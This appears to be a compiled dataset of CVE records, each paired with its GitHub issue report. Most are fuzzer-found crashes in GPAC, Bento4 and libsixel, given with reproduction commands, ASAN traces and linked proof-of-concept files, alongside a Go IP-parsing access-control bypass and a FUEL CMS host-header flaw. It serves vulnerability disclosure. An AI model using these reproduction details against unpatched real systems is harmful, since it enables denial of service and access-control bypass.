Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ System info: Ubuntu 18.04.6 LTS, X64, gcc version 7.4.0, gpac (latest master 4a7a63) Compile Command: ```asm $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box $ make ``` Run Command: ```asm ./MP4Box -dash 1000 crash_2 ``` ASAN info: ```asm ================================================================= ==12759==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000d3 at pc 0x55feb146edf3 bp 0x7fff627852e0 sp 0x7fff627852d0 READ of size 1 at 0x6020000000d3 thread T0 #0 0x55feb146edf2 in gf_m2ts_section_complete media_tools/mpegts.c:1471 #1 0x55feb146f3ab in gf_m2ts_gather_section media_tools/mpegts.c:1740 #2 0x55feb147524c in gf_m2ts_process_packet media_tools/mpegts.c:3440 #3 0x55feb147524c in gf_m2ts_process_data media_tools/mpegts.c:3507 #4 0x55feb1484886 in gf_m2ts_probe_file media_tools/mpegts.c:4641 #5 0x55feb13ac7f0 in gf_dash_segmenter_probe_input media_tools/dash_segmenter.c:5505 #6 0x55feb13d350a in gf_dasher_add_input media_tools/dash_segmenter.c:6669 #7 0x55feb0faea6f in mp4boxMain /home/dr3dd/fuzzing/gpac/applications/mp4box/main.c:4704 #8 0x7f1e4bd95b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x55feb0f9d7a9 in _start (/home/dr3dd/fuzzing/gpac/bin/gcc/MP4Box+0x1657a9) 0x6020000000d3 is located 0 bytes to the right of 3-byte region [0x6020000000d0,0x6020000000d3) allocated by thread T0 here: #0 0x7f1e4ca1df40 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef40) #1 0x55feb146f309 in gf_m2ts_gather_section media_tools/mpegts.c:1730 SUMMARY: AddressSanitizer: heap-buffer-overflow media_tools/mpegts.c:1471 in gf_m2ts_section_complete Shadow bytes around the buggy address: 0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff8000: fa fa 02 fa fa fa 00 00 fa fa 00 00 fa fa 00 00 =>0x0c047fff8010: fa fa 00 00 fa fa 00 00 fa fa[03]fa fa fa fa fa 0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==12759==ABORTING ``` gdb Info: ```asm Program received signal SIGSEGV, Segmentation fault. 0x0000555555d45a2d in gf_m2ts_process_pmt (ts=<optimized out>, pmt=<optimized out>, sections=<optimized out>, table_id=<optimized out>, ex_table_id=<optimized out>, version_number=<optimized out>, last_section_number=<optimized out>, status=<optimized out>) at media_tools/mpegts.c:2535 2535 gf_list_add(pmt->program->streams, es); (gdb) bt #0 0x0000555555d45a2d in gf_m2ts_process_pmt (ts=<optimized out>, pmt=<optimized out>, sections=<optimized out>, table_id=<optimized out>, ex_table_id=<optimized out>, version_number=<optimized out>, last_section_number=<optimized out>, status=<optimized out>) at media_tools/mpegts.c:2535 #1 0x0000555555d35506 in gf_m2ts_section_complete (ts=ts@entry=0x5555562c5a40, sec=sec@entry=0x5555562d7440, ses=ses@entry=0x5555562d7390) at media_tools/mpegts.c:1610 #2 0x0000555555d3638a in gf_m2ts_gather_section (ts=ts@entry=0x5555562c5a40, sec=0x5555562d7440, ses=ses@entry=0x5555562d7390, data=0x7ffffffa6821 "", data@entry=0x7ffffffa681a "", data_size=<optimized out>, hdr=<optimized out>, hdr=<optimized out>) at media_tools/mpegts.c:1740 #3 0x0000555555d3f3be in gf_m2ts_process_packet (data=0x7ffffffa681a "", ts=0x5555562c5a40) at media_tools/mpegts.c:3446 #4 gf_m2ts_process_data (ts=ts@entry=0x5555562c5a40, data=data@entry=0x7ffffffa6700 "", data_size=<optimized out>) at media_tools/mpegts.c:3507 #5 0x0000555555d54ca1 in gf_m2ts_probe_file (fileName=<optimized out>) at media_tools/mpegts.c:4641 #6 0x0000555555bf0844 in gf_dash_segmenter_probe_input (io_dash_inputs=io_dash_inputs@entry=0x5555562c4978, nb_dash_inputs=nb_dash_inputs@entry=0x5555562c4980, idx=idx@entry=0) at media_tools/dash_segmenter.c:5505 #7 0x0000555555c2dabb in gf_dasher_add_input (dasher=0x5555562c4970, input=<optimized out>) at media_tools/dash_segmenter.c:6669 #8 0x00005555555c88f5 in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at main.c:4704 #9 0x00007ffff722bb97 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6 #10 0x00005555555a3e0a in _start () at main.c:5985 ``` here is crash file: [crash_2.zip](https://github.com/gpac/gpac/files/4272267/crash_2.zip) Thanks dr3dd

AddressSanitizer: heap-buffer-overflow media_tools/mpegts.c:1471 in gf_m2ts_section_complete

https://api.github.com/repos/gpac/gpac/issues/1422/comments

2020-03-01T18:58:01Z

2020-03-06T17:21:35Z

https://github.com/gpac/gpac/issues/1422

CVE-2021-35306

2021-08-05T20:15:09.387

An issue was discovered in Bento4 through v1.6.0-636. A NULL pointer dereference exists in the function AP4_StszAtom::WriteFields located in Ap4StszAtom.cpp. It allows an attacker to cause a denial of service (DOS).

https://github.com/axiomatic-systems/Bento4/issues/615

github.com

Hello, A SEGV has occurred when running program mp42aac， System info： Ubuntu 20.04.1 : clang 10.0.0 , gcc 9.3.0 Bento4 version 1.6.0-636 [POC.zip](https://github.com/axiomatic-systems/Bento4/files/6631654/POC.zip) Verification steps： 1.Get the source code of Bento4 2.Compile ``` cd Bento4 mkdir check_build && cd check_build cmake ../ -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_CXX_FLAGS="fsanitize=address" make -j 16 ``` 3.run mp42aac ``` ./mp42aac poc /dev/null ``` Output ``` Segmentation fault(core dumped) ``` AddressSanitizer output ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==2182861==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x556efda097b2 bp 0x6040000008d0 sp 0x7ffc29113390 T0) ==2182861==The signal is caused by a READ memory access. ==2182861==Hint: address points to the zero page. #0 0x556efda097b1 in AP4_StszAtom::WriteFields(AP4_ByteStream&) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4StszAtom.cpp:122 #1 0x556efd8c3e32 in AP4_Atom::Write(AP4_ByteStream&) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Atom.cpp:229 #2 0x556efd8c2bea in AP4_Atom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Atom.cpp:316 #3 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172 #4 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172 #5 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172 #6 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172 #7 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172 #8 0x556efd82dc02 in AP4_ProtectionSchemeInfo::AP4_ProtectionSchemeInfo(AP4_ContainerAtom*) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:319 #9 0x556efd82dc02 in AP4_ProtectedSampleDescription::AP4_ProtectedSampleDescription(unsigned int, AP4_SampleDescription*, unsigned int, unsigned int, unsigned int, char const*, AP4_ContainerAtom*, bool) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:689 #10 0x556efd82e1f5 in AP4_EncaSampleEntry::ToSampleDescription() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:103 #11 0x556efd86cd8d in AP4_StsdAtom::GetSampleDescription(unsigned int) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4StsdAtom.cpp:181 #12 0x556efd802063 in main /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:268 #13 0x7f76227050b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) #14 0x556efd80614d in _start (/home/dh/sda3/AFLplusplus/Bento4-master/mp42aac_afl+++0x5914d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4StszAtom.cpp:122 in AP4_StszAtom::WriteFields(AP4_ByteStream&) ==2182861==ABORTING ```

SEGV in mp42aac

https://api.github.com/repos/axiomatic-systems/Bento4/issues/615/comments

2021-06-10T13:16:05Z

2021-12-27T07:29:17Z

https://github.com/axiomatic-systems/Bento4/issues/615

CVE-2021-35307

2021-08-05T20:15:09.423

An issue was discovered in Bento4 through v1.6.0-636. A NULL pointer dereference exists in the AP4_DescriptorFinder::Test component located in /Core/Ap4Descriptor.h. It allows an attacker to cause a denial of service (DOS).

https://github.com/axiomatic-systems/Bento4/issues/616

github.com

Hello, A SEGV has occurred when running program mp42aac， System info： Ubuntu 20.04.1 : clang 10.0.0 , gcc 9.3.0 Bento4 version 1.6.0-636 [poc (2).zip](https://github.com/axiomatic-systems/Bento4/files/6631972/poc.2.zip) Verification steps： 1.Get the source code of Bento4 2.Compile ``` cd Bento4 mkdir check_build && cd check_build cmake ../ -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_CXX_FLAGS="fsanitize=address" make -j 16 ``` 3.run mp42aac ``` ./mp42aac poc /dev/null ``` Output ``` Segmentation fault(core dumped) ``` AddressSanitizer output ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==2513287==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x5614212cf0c2 bp 0x0fffb285532c sp 0x7ffd942a9960 T0) ==2513287==The signal is caused by a READ memory access. ==2513287==Hint: address points to the zero page. #0 0x5614212cf0c1 in AP4_DescriptorFinder::Test(AP4_Descriptor*) const /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Descriptor.h:92 #1 0x5614212cf0c1 in AP4_List<AP4_Descriptor>::Find(AP4_List<AP4_Descriptor>::Item::Finder const&, AP4_Descriptor*&) const /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4List.h:431 #2 0x5614212cf0c1 in AP4_DecoderConfigDescriptor::GetDecoderSpecificInfoDescriptor() const /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4DecoderConfigDescriptor.cpp:159 #3 0x5614211be076 in AP4_MpegSampleDescription::AP4_MpegSampleDescription(unsigned int, AP4_EsdsAtom*) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4SampleDescription.cpp:894 #4 0x5614211be5e5 in AP4_MpegAudioSampleDescription::AP4_MpegAudioSampleDescription(unsigned int, unsigned short, unsigned short, AP4_EsdsAtom*) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4SampleDescription.cpp:1000 #5 0x561421193a74 in AP4_EncaSampleEntry::ToTargetSampleDescription(unsigned int) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:143 #6 0x5614211a1105 in AP4_EncaSampleEntry::ToSampleDescription() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:98 #7 0x5614211dfd8d in AP4_StsdAtom::GetSampleDescription(unsigned int) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4StsdAtom.cpp:181 #8 0x561421175063 in main /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:268 #9 0x7fcdb4b710b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) #10 0x56142117914d in _start (/home/dh/sda3/AFLplusplus/Bento4-master/mp42aac_afl+++0x5914d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Descriptor.h:92 in AP4_DescriptorFinder::Test(AP4_Descriptor*) const ==2513287==ABORTING ```

SEGV in mp42aac

https://api.github.com/repos/axiomatic-systems/Bento4/issues/616/comments

2021-06-10T14:10:25Z

2021-08-06T01:09:22Z

https://github.com/axiomatic-systems/Bento4/issues/616

CVE-2021-36584

2021-08-05T20:15:09.457

An issue was discovered in GPAC 1.0.1. There is a heap-based buffer overflow in the function gp_rtp_builder_do_tx3g function in ietf/rtp_pck_3gpp.c, as demonstrated by MP4Box. This can cause a denial of service (DOS).

https://github.com/gpac/gpac/issues/1842

github.com

Hello, A heap-buffer-overflow has occurred when running program MP4Box,this can reproduce on the lattest commit. System info： Ubuntu 20.04.1 : clang 10.0.0 , gcc 9.3.0 [poc1.zip](https://github.com/gpac/gpac/files/6766970/poc1.zip) Verification steps： 1.Get the source code of gpac 2.Compile ``` cd gpac-master CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" ./configure make ``` 3.run MP4Box ``` ./MP4Box -hint poc -out /dev/null ``` asan info ``` ================================================================= ==47156==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001892 at pc 0x7f5f1dea9b2c bp 0x7ffe02fd8810 sp 0x7ffe02fd8800 READ of size 1 at 0x602000001892 thread T0 #0 0x7f5f1dea9b2b in gp_rtp_builder_do_tx3g ietf/rtp_pck_3gpp.c:399 #1 0x7f5f1e76148a in gf_hinter_track_process media_tools/isom_hinter.c:808 #2 0x5622a222ce2b in HintFile /home/.../gpac/gpac-master/applications/mp4box/main.c:3499 #3 0x5622a2243d54 in mp4boxMain /home/.../gpac/gpac-master/applications/mp4box/main.c:6297 #4 0x7f5f1d3990b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) #5 0x5622a21f6f1d in _start (/home/.../gpac/gpac-master/bin/gcc/MP4Box+0x48f1d) 0x602000001892 is located 0 bytes to the right of 2-byte region [0x602000001890,0x602000001892) allocated by thread T0 here: #0 0x7f5f20277bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8) #1 0x7f5f1e29d6cd in Media_GetSample isomedia/media.c:617 SUMMARY: AddressSanitizer: heap-buffer-overflow ietf/rtp_pck_3gpp.c:399 in gp_rtp_builder_do_tx3g Shadow bytes around the buggy address: 0x0c047fff82c0: fa fa fd fd fa fa 00 00 fa fa 00 00 fa fa fd fd 0x0c047fff82d0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff82e0: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff82f0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8300: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00 =>0x0c047fff8310: fa fa[02]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==47156==ABORTING ``` source code ``` 396 pay_start = 2; 397 if (txt_size>2) { 398 /*seems 3GP only accepts BE UTF-16 (no LE, no UTF32)*/ 399 if (((u8) data[2]==(u8) 0xFE) && ((u8) data[3]==(u8) 0xFF)) { 400 is_utf_16 = GF_TRUE; 401 pay_start = 4; 402 txt_size -= 2; 403 } 404 } 405 samp_size = data_size - pay_start; ```

heap-buffer-overflow in gp_rtp_builder_do_tx3g

https://api.github.com/repos/gpac/gpac/issues/1842/comments

2021-07-06T02:59:40Z

2021-08-06T01:08:16Z

https://github.com/gpac/gpac/issues/1842

CVE-2021-29923

2021-08-07T17:15:07.067

Go before 1.17 does not properly consider extraneous zero characters at the beginning of an IP address octet, which (in some situations) allows attackers to bypass access control that is based on IP addresses, because of unexpected octal interpretation. This affects net.ParseIP and net.ParseCIDR.

https://github.com/golang/go/issues/30999

github.com

### What version of Go are you using (`go version`)? <pre> $ go version go version go1.12.1 linux/amd64 </pre> ### Does this issue reproduce with the latest release? Yes. ### What operating system and processor architecture are you using (`go env`)? <details><summary><code>go env</code> Output</summary><br><pre> $ go env GOARCH="amd64" GOBIN="" GOCACHE="/home/xxx/.cache/go-build" GOEXE="" GOFLAGS="" GOHOSTARCH="amd64" GOHOSTOS="linux" GOOS="linux" GOPATH="/home/xxx/gocode" GOPROXY="" GORACE="" GOROOT="/home/xxx/go" GOTMPDIR="" GOTOOLDIR="/home/xxx/go/pkg/tool/linux_amd64" GCCGO="gccgo" CC="gcc" CXX="g++" CGO_ENABLED="1" GOMOD="" CGO_CFLAGS="-g -O2" CGO_CPPFLAGS="" CGO_CXXFLAGS="-g -O2" CGO_FFLAGS="-g -O2" CGO_LDFLAGS="-g -O2" PKG_CONFIG="pkg-config" GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build040813268=/tmp/go-build -gno-record-gcc-switches" </pre></details> ### What did you do? ``` package main import "net/http" func main() { http.Get("http://7.7.7.017") } ``` ### What did you expect to see? `7.7.7.017` is interpreted as `7.7.7.15`. ``` $ ping 7.7.7.017 PING 7.7.7.017 (7.7.7.15) 56(84) bytes of data. ``` ### What did you see instead? The program tries to connect to `7.7.7.17`.

net: reject leading zeros in IP address parsers [freeze exception]

https://api.github.com/repos/golang/go/issues/30999/comments

2019-03-22T06:48:19Z

2023-06-23T06:42:24Z

https://github.com/golang/go/issues/30999

CVE-2021-29923

2021-08-07T17:15:07.067

Go before 1.17 does not properly consider extraneous zero characters at the beginning of an IP address octet, which (in some situations) allows attackers to bypass access control that is based on IP addresses, because of unexpected octal interpretation. This affects net.ParseIP and net.ParseCIDR.

https://github.com/golang/go/issues/43389

github.com

Maybe net.ParseIP shouldn't successfully parse IP addresses out of unbounded inputs? e.g. `fmt.Println(net.ParseIP(strings.Repeat("0", 10<<20) + "000000192.0000168.00000.00001"))` passes, as does UnmarshalText (https://play.golang.org/p/bXGEzOS6KVQ) Of course, in both those cases the data is already fully in memory, so most the harm has been done if this is attacker-controlled. Still, a bit surprising. Intentional? Some parsers reject past 3 digits per octet, so `196.168.020.001` is valid, but not `0196.0168.0020.0001`.

net: limit the size of ParseIP input?

https://api.github.com/repos/golang/go/issues/43389/comments

2020-12-26T16:59:03Z

2023-03-16T16:48:24Z

https://github.com/golang/go/issues/43389

CVE-2021-38290

2021-08-09T11:15:07.377

A host header attack vulnerability exists in FUEL CMS 1.5.0 through fuel/modules/fuel/config/fuel_constants.php and fuel/modules/fuel/libraries/Asset.php. An attacker can use a man in the middle attack such as phishing.

https://github.com/daylightstudio/FUEL-CMS/issues/580

github.com

The system does not verify the host value. If the host value is modified, the link returned by the website will splice the malicious host value。like this：  

Host header attack vulnerability exists in fuel CMS 1.5.0. An attacker can use man in the middle attack to attack users such as phishing.

https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/580/comments

2021-08-06T01:58:06Z

2021-08-10T17:49:48Z

https://github.com/daylightstudio/FUEL-CMS/issues/580

CVE-2020-21677

2021-08-10T21:15:07.447

A heap-based buffer overflow in the sixel_encoder_output_without_macro function in encoder.c of Libsixel 1.8.4 allows attackers to cause a denial of service (DOS) via converting a crafted PNG file into Sixel format.

https://github.com/saitoha/libsixel/issues/123

github.com

version : img2sixel 1.8.4 OS : Ubuntu 18.04 configured with: libcurl: yes libpng: yes libjpeg: yes gdk-pixbuf2: no GD: no There is a heap-buffer-overflow in sixel_encoder_output_without_macro at encoder.c:814 please run following cmd to reproduce it. ``` img2sixel --high-color $PoC ``` [poc](https://drive.google.com/file/d/1NVULz3OAyBi190KLfZO3n49-X5iJuH1x/view?usp=sharing) ASAN LOG ``` ==26572==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f1b55fdd320 at pc 0x0000004d90f2 bp 0x7ffd65666ef0 sp 0x7ffd656666a0 READ of size 1526074725 at 0x7f1b55fdd320 thread T0 #0 0x4d90f1 in __asan_memcpy (/home/tmp/img2sixel+0x4d90f1) #1 0x7f1c0acb8341 in sixel_encoder_output_without_macro /home/tmp/libsixel/src/encoder.c:814:5 #2 0x7f1c0acb8341 in sixel_encoder_encode_frame /home/tmp/libsixel/src/encoder.c:1050 #3 0x7f1c0ac8f026 in load_gif /home/tmp/libsixel/src/fromgif.c:649:22 #4 0x7f1c0aa6c6fb in load_with_builtin /home/tmp/libsixel/src/loader.c:888:18 #5 0x7f1c0aa6c6fb in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1392 #6 0x7f1c0acb099f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14 #7 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22 #8 0x7f1c09016b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41a379 in _start (/home/tmp/img2sixel+0x41a379) 0x7f1b55fdd320 is located 0 bytes to the right of 36043552-byte region [0x7f1b53d7d800,0x7f1b55fdd320) allocated by thread T0 here: #0 0x4da230 in __interceptor_malloc (/home/tmp/img2sixel+0x4da230) #1 0x7f1c0ac8ce95 in gif_init_frame /home/tmp/libsixel/src/fromgif.c:239:42 #2 0x7f1c0ac8ce95 in load_gif /home/tmp/libsixel/src/fromgif.c:644 #3 0x7f1c0aa6c6fb in load_with_builtin /home/tmp/libsixel/src/loader.c:888:18 #4 0x7f1c0aa6c6fb in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1392 #5 0x7f1c0acb099f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14 #6 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22 #7 0x7f1c09016b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/tmp/img2sixel+0x4d90f1) in __asan_memcpy Shadow bytes around the buggy address: 0x0fe3eabf3a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0fe3eabf3a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0fe3eabf3a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0fe3eabf3a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0fe3eabf3a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0fe3eabf3a60: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa 0x0fe3eabf3a70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fe3eabf3a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fe3eabf3a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fe3eabf3aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0fe3eabf3ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==26572==ABORTING ```

heap-buffer-overflow in sixel_encoder_output_without_macro at encoder.c:814

https://api.github.com/repos/saitoha/libsixel/issues/123/comments

2019-12-24T03:33:01Z

2021-08-12T08:20:15Z

https://github.com/saitoha/libsixel/issues/123

CVE-2021-32437

2021-08-11T20:15:08.933

The gf_hinter_finalize function in GPAC 1.0.1 allows attackers to cause a denial of service (NULL pointer dereference) via a crafted file in the MP4Box command.

https://github.com/gpac/gpac/issues/1770

github.com

A null pointer dereference issue was found in MP4Box, to reproduce, compile gpac as follows: ``` CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug ``` run poc file : ``` ./bin/gcc/MP4Box -hint poc -out /dev/null ``` Detailed ASAN result is as below: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1042==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fc3d4e76d0b bp 0x7ffd390b09a0 sp 0x7ffd390ae160 T0) ==1042==The signal is caused by a READ memory access. ==1042==Hint: address points to the zero page. #0 0x7fc3d4e76d0a in gf_hinter_finalize media_tools/isom_hinter.c:1236 #1 0x555a478a9019 in HintFile /home/lab4/src/gpac/applications/mp4box/main.c:3467 #2 0x555a478b3e70 in mp4boxMain /home/lab4/src/gpac/applications/mp4box/main.c:6209 #3 0x555a478b4653 in main /home/lab4/src/gpac/applications/mp4box/main.c:6335 #4 0x7fc3d48bc0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) #5 0x555a478a02ad in _start (/home/lab4/src/gpac/bin/gcc/MP4Box+0x182ad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV media_tools/isom_hinter.c:1236 in gf_hinter_finalize ==1042==ABORTING ``` Credit : ADLab of Venustech [poc_null.zip](https://github.com/gpac/gpac/files/6403820/poc_null.zip)

Null pointer dereference in function gf_hinter_finalize isom_hinter.c:1236

https://api.github.com/repos/gpac/gpac/issues/1770/comments

2021-04-30T08:10:59Z

2021-08-11T02:23:20Z

https://github.com/gpac/gpac/issues/1770

CVE-2021-32438

2021-08-11T20:15:08.977

The gf_media_export_filters function in GPAC 1.0.1 allows attackers to cause a denial of service (NULL pointer dereference) via a crafted file in the MP4Box command.

https://github.com/gpac/gpac/issues/1769

github.com

A null pointer dereference issue was found in MP4Box, to reproduce, compile gpac as follows: ``` CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-debug ``` run poc file : ``` ./bin/gcc/MP4Box -nhnt 1 poc -out /dev/null ``` Detailed ASAN result is as below: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==2590==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x7f10a4aef7e8 bp 0x7ffc623e3300 sp 0x7ffc623e2c20 T0) ==2590==The signal is caused by a READ memory access. ==2590==Hint: address points to the zero page. #0 0x7f10a4aef7e7 in gf_media_export_filters media_tools/media_export.c:1112 #1 0x7f10a4af1146 in gf_media_export media_tools/media_export.c:1474 #2 0x5605c1f30d36 in do_export_tracks /home/lab4/src/gpac/applications/mp4box/main.c:4646 #3 0x5605c1f35f6a in mp4boxMain /home/lab4/src/gpac/applications/mp4box/main.c:5971 #4 0x5605c1f37653 in main /home/lab4/src/gpac/applications/mp4box/main.c:6335 #5 0x7f10a455a0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) #6 0x5605c1f232ad in _start 